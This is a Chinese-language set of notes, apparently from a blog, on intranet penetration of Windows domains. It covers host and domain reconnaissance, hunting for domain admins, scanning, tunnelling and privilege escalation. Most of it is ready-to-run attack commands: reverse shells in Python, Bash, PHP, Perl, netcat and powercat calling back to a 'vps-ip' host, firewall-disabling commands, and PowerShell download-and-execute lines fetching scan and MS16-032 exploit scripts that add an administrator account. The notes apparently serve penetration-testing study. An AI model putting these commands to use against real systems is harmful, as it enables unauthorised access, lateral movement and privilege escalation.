1.1. 本机信息
1.1.1. 手动收集
1.1.1.1. 用户列表/管理员 net user | net localgroup administrators
当前在线用户 query user
1.1.1.2. 网络配置 ipconfig /all
1.1.1.3. 操作系统及补丁 wmic qfe list brief>tmp.txt
当前系统信息 systeminfo | findstr "OS KB"
1.1.1.4. 系统架构 echo %processor_architecture%
1.1.1.5. 本机服务信息 wmic service list brief>tmp.txt
1.1.1.6. 安装软件 wmic product get name,version,installlocation >tmp.txt
利用PowerShell收集软件"Get-WmiObject -Class win32_product | Select-Object -Property name,version,installlocation"
1.1.1.7. 端口列表 netstat -ano
1.1.1.8. 进程列表 wmic process list brief>tmp.txt
当前进程信息tasklist
1.1.1.9. 开机自动程序 wmic startup list brief >tmp.txt
1.1.1.10. 计划任务 schtasks /query /fo table /v >tmp.txt
1.1.1.11. 本地计算机和所连接客户端之间会话 net session
1.1.1.12. 本机共享列表 wmic share get name,path,status >tmp.txt
共享列表 net share
1.1.1.13. 路由表/ARP缓存表 route print | arp -a
1.1.1.14. 防火墙相关配置
1.1.1.14.1. 查看防火墙配置 netsh firewall show config
1.1.1.14.2. 关闭防火墙 netsh advfirewall set allprofiles state off
win2003之前版本 netsh firewall set opmode disable
1.1.1.14.3. 修改防火墙配置
允许指定程序进入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: c.exe"
允许指定程序外出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="C: c.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="remote desktop" protocol=TCP dir=in localport=3389 action=allow
netsh firewall add allowedprogram c:
c.exe “allow nc” enable #win2003之前版本
1.1.1.14.4. 更改防火墙日志文件存储
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
1.1.1.15. 代理配置 reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
1.1.1.16. 开启RDP服务
- 查询
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
1.1.2. 自动收集
1.1.2.1. wmic信息收集
1.1.2.2. Empire信息收集
1.2. 判断域环境
1.2.1. 是否存在域 systeminfo | findstr "\."
1.2.2. DNS与本机是否网段 ipconfig /all
1.2.3. DNS与域是否同IP nslookup hacker.testlab
1.2.4. 当前登录域及登录用户信息 net config workstation
1.2.5. 判段主域 net time /domain
1.2.6. 获取域SID whoami /all
1.2.7. 指定域用户详细信息 net user xxx /domain
1.3. 搜集域内基础信息
1.3.1. 查询域 net view /domain
1.3.2. 查询域内所有主机 net view /domain:hacker
1.3.3. 查询域内所有用户组列表 net group /domain
1.3.4. 查询域内成员计算机列表 net gorup "domain computers" /domain
1.3.5. 获取域密码信息 net accounts /domain
1.3.6. 获取域信任信息 nltest /domain_trusts
1.4. 查找域控制器
1.4.1. DC组 net group "domain controllers" /domain
1.4.2. DC机器名 nltest /dclist:hacker
1.4.3. DC主机名 nslookup -type=srv _ldap._tcp
1.4.4. 主域DC netdom query pdc
1.5. 获取域内用户和管理员信息
1.5.1. 域内用户列表 net user /domain
1.5.2. 域管理员用户 net group "domain admins" /domain
net group "enterprise admins" /domain
1.5.3. 域内用户详细信息 wmic useraccount get /all
1.5.4. 域内存在的用户 dsquery user
1.6. 定位域管理员
1.6.1. psloggedon.exe \\DC
1.6.2. PVEFindADUser.exe -current
1.6.3. netview.exe
1.6.4. nmap –script smb-enum-sessions <ip>
- smb-enum-domains 对DC进行信息收集
- smb-enum-users 枚举域内用户
- smb-enum-shares 枚举共享目录
- smb-enum-process 枚举进程
- smb-enum-sessions 枚举域内用户登录会话
- smb-os-discovery 收集系统信息
1.6.5. PowerSploit
1.6.6. Empire >situaltional_awareness/network/powerview/user_hunter
1.7. 查找域管理进程
1.7.1. DC的域用户会话
- 域控制器列表
net group "domain controllers" /domain >dics.txt
- 域管理员列表
net group "domain admins" /domain >admins.txt
- 活动域会话列表
netsess.exe -h
- 域用户会话-GDA
for /f %i in (dcs.txt) do
@echo [+] Querying DC %i && @netsess -h %i 2>null >sessions.txt &&
for /f %a in (admins.txt) do
@type sessions.txt | @findstr /I %a
1.7.2. 远程系统中运行的任务
step1: net group "domain admins" /domain > admins.txt
step2: netsess -h >ips.txt
step3: for /f %ip in (ips.txt) do
@echo [+] %ip && @tasklist /v /s %ip /U user /P password 2>null >output.txt &&
for /f %admin in (admins.txt) do
@type output.txt | @findstr %admin >null && @echo [!] %admin was found running a process on %ip && pause
1.7.3. 扫描远程系统NetBIOS信息
for /f %ip in (ips.txt) do
@echo [+] Checking %ip && nbtstat -A &ip 2>null >nbsession.txt &&
for /f %user in (admins.txt) do
@type nbsessions.txt | findstr /I %user >null && echo [!] %user was found logged into %ip
1.7.4. 域用户的进程 tasklist /v | findstr "hacker"
1.8. 域分析工具Bloodhound
1.9. 探测域内存活主机
1.9.1. 利用NetBIOS探测 nbt.exe 192.168.1.0/24
1.9.2. 利用ICMP协议探测
for /L %I in (1,1,254) do @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
1.9.3. 利用ARP协议探测 arp.exe -t 192.168.1.0/24
- Empire>usemodule powershell/situational_awareness/network/arpscan
- Powershell
powershell.exe -exec bypass -command "& {import-module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt
1.9.4. 通过TCP/UDP协议探测 nmap -sT -sU
1.10. 扫描域内端口
1.10.1. netcat扫描
nc -nvv -w 1 -z 10.1.1.1 3388-27017 //TCP
nc -nvv -w 1 -z -u 10.1.1.1 3388-3389 //UDP
1.10.2. 利用telnet命令扫描 telnet <ip> <port>
1.10.3. 利用msfconsole use auxiliary/scanner/portscan/tcp
1.10.4. 利用powersploit Invoke-Portscan
powershell.exe -nop -exec bypass -c "IEX(New-object Net.webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA C:windows\temp
es.txt "
1.10.5. 利用Nishang Invoke-Portscan
Invoke-Portscan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost
2. 隐藏通信隧道技术
2.1. 基础知识
2.1.1. 隧道-一种绕过端口屏蔽的通信方式
攻击机发出的数据包封装成防火墙允许的数据包格式,经过防火墙允许的端口,从而穿过防火墙,与目标机进行通信。
- 网络层 :IPv6,ICMP,GRE
- 传输层:TCP,UDP,常规端口转发
- 应用层:SSH,HTTP,HTTPS,DNS
2.1.2. 内网连通性判断
判断域内及其能否上外网
内网中是否有proxy server
- 查看内网hostname=*proxy*
curl www.baidu.com //不同
curl -x proxy-ip:port www.baidu.com //通
2.1.2.1. ICMP协议 ping baidu.com
2.1.2.2. TCP协议 nc -zv <target> <port>
2.1.2.3. HTTP(S)协议 curl <target>:<port>
2.1.2.4. DNS协议 dig @vps-ip www.baidu.com A
windows :
nslookup www.baidu.com vips-ip
2.2. 网络层层隧道技术
2.2.1. IPv6隧道-socat,6tunnel,nt6tunnel
将IPv6数据报文封装在IPv4数据报文中
2.2.2. ICMP隧道-icmpsh,pingTunnel,icmptunnel,powershell icmp
将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问
2.2.2.1. icmpsh
target:
icmpsh.exe -t kali-ip -d 500 -b 30 -s 128
kali:
apt install python-impacket
git clone https://github.cominquisb/icmpsh.git /opt/icmpsh
sysctl -w net.ipv4_icmp_echo_ignore_all=1
./run.sh
2.2.2.2. PingTunnel
kali:192.168.10
web server:192.168.1.4 /1.1.1.x
sql server:1.1.1.10
kali:
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389
2.3. 传输层隧道技术
2.3.1. Socket隧道:LCX/portmap端口转发
>端口转发
target: lcx.exe -slave vps-ip 4444 127.0.0.1 3389 //将本机3389端口所有数据转发到vps-ip上的4444端口
vps-ip: lcx.exe -listen 4444 5555 //将本地4444端口监听的数据转发到5555端口
mstsc //127.0.0.1:5555->target:3389
>本地端口映射
target: lcx.exe -tran 53 127.0.0.1 3389 //防火墙禁止3389后,可将3389端口数据转发到本地53端口
2.3.2. Netcat
2.3.2.1. 常见使用场景
banner获取
nc -nv ip port
连接主机nc -nvv ip port
扫描端口nc -v -z ip port1-port2
监听端口nc -l -p 9999
简易聊天室
- 服务端:
nc -lp 8888
- 客户器:
nc -nv <client-ip> 8888
文件传输- 接收方 :
nc -lp 8888 > 1.txt
//192.168.1.1- 发送方:
nc -nv 192.168.1.1 8888 < test.txt -q 1
2.3.2.2. 获取shell
>正向shell: 客户端 ----> 服务器的shell //客户端获取服务器的shell
客户端(192.168.1.114):
nc 10.10.10.115 4444
服务器(10.10.10.115):
nc -lvp 4444 -e /bin/sh //linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe //windows
>反向shell: 客户端的shell <---- 服务器 //服务器获取客户端的shell
服务器(10.10.10.115):
nc -lvp 9999
客户端(192.168.1.114):
nc 10.10.10.115 9999 -e /bin/sh //linux
nc 10.10.10.115 9999 -e c:\windows\system32\cmd.exe //windows
2.3.2.3. 获取反向shell
vps: nc -lvp 2222
>-----python反向shell-------
python -c '
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("vps-ip",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
'
>-----------Bash反向shell---------
bash -i >& /dev/tcp/vps-ip/4444 0>&1
>-----------PHP反向shell---------
php -r '
$sock=fsockopen("vps-ip",2222);
exec("/bin/sh -i <&3 >&3 2>&3");
'
>----------Perl反向shell--------
perl -e '
use Socket;
$i="192.168.1.117";$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
'
>
2.3.2.4. Netcat内网代理
---------------------------------------------------------------
VPS(192.168.1.4) Web Server(192.168.1.1/1.1.1.116)
MySQL Server(1.1.1.200)
----------------------------------------------------------------
step1:
vps: nc -lvp 3333
step2:
MySQL:nc -lvp 3333 -e /bin/sh
step3:
Web :nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
>
2.3.3. PowerCat
nc的powershell版本
2.3.3.1. powercat常用操作
#powercat正向shell
win10(192.168.1.119):
powercat -l -p 8888 -e cmd.exe -v
kali(192.168.1.119):
nc 192.168.1.119 8888
-------------------------------
#powercat反弹shell
win10(192.168.1.119):
powercat -c 192.168.1.119 -p 8888 -v -e cmd.exe
kali(192.168.1.119):
nc -lvp 8888
--------------------------------------
#返回powershell
powercat -c vps -p 9999 -v -ep
-----------------------------
#传输文件
powercat -l -p 8888 -of test.txt -v
powercat -c vps 8888 -i c:\test.txt -v
-----------------------------
#生成payload
powercat -l -p 8888 -e cmd -v -ge >>shell.ps1
>
2.3.3.2. powercat DNS隧道通信
kali :192.168.1.117 win10:192.168.1.119
---------------------------------------
kali: ruby dnscat2.rb -e open --no-cache ttpowercat.test
win10: powercat -c 192.168.1.117 -p 53 -dns ttpowercat.test -e cmd.exe
2.4. 应用层隧道技术
2.4.1. SSH协议隧道
2.4.1.1. 本地端口转发
kali: 192.168.1.117 MacBook :192.168.1.121
win10 :192.168.1.119
---------------------------------------------------
kali: 127.0.0.1:444 --> 192.168.1.119:3389
ssh -CfNg -L 4444:192.168.1.119:3389 ethan@192.168.1.121
2.4.1.2. 远程端口转发
kali: 192.168.1.117 MacBook :192.168.1.121
win10 :192.168.1.119
---------------------------------------------------
MacBook: 192.168.1.117:4444 --> 192.168.1.119:3389
ssh -CfNg -R 4444:192.168.1.119:3389 kali@192.168.1.117
2.4.1.3. 动态端口转发(加密socks)
kali: 192.168.1.117 MacBook :192.168.1.121
win10 :192.168.1.119
---------------------------------------------------
kali: 192.168.1.117:4444 --> 192.168.1.119:3389
ssh -CfNg -D 4444 ethan@192.168.1.121
2.4.2. HTTP/HTTPS协议隧道
2.4.2.1. reGeorg
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
2.4.2.2. proxytunnel
2.4.3. DNS协议隧道
2.4.3.1. Dnscat2
2.4.3.2. iodine
2.5. SOCKS代理
Socket隧道具备2端
服务端:监听一个端口,等待客户端连接
客户端:传入服务端IP地址和端口,才能主动与服务器连接
2.5.1. Proxychains
2.5.2. SocksCap64
2.5.3. Proxifier
2.5.4. EarthWorm
2.5.5. Termite
2.5.6. reGeorg
2.6. 数据通信
2.6.1. 压缩数据
>压缩文件:
7z.exe a -r -p12345 E:\path\to\file.7z C:\path\to\file\
>解压文件:
>7z.exe x -p12345 E:\path\to\file.7z -o E:\x
2.6.2. 传输数据
2.6.3. 利用FTP协议
2.6.4. 利用Debug上传
2.6.5. 利用Nishang上传-download-execute
2.6.6. 利用bitsadmin下载
2.6.7. 利用powershell下载
3. Windows权限提升分析及防御
3.1. 系统内核溢出漏洞提权分析及防范
3.1.1. MS16-032提权-KB3139914
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1");Invoke-MS16-032 -Application cmd.exe -Commandline '/c net admins 12345 /add' "
3.2. windows操作系统配置错误利用分析及防范
3.2.1. 注册表键AlwaysInstallElevated
gpedit.msc >windows Installer-永远以高权限进行安装
3.2.2. 可信任服务路径漏洞
一个服务的可执行文件的路径没有被双引号引起来,且包含空格,则存在此漏洞
- 若路径与服务有关,则创建一个服务或编译service模版
- 若路径与可执行文件有关,则创建一个可执行文件
3.3. 组策略首选项提权分析及防范
3.4. 绕过UAC提权分析及防范
3.5. 令牌窃取分析及防范
3.6. 无凭证条件下的权限分析及防范
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com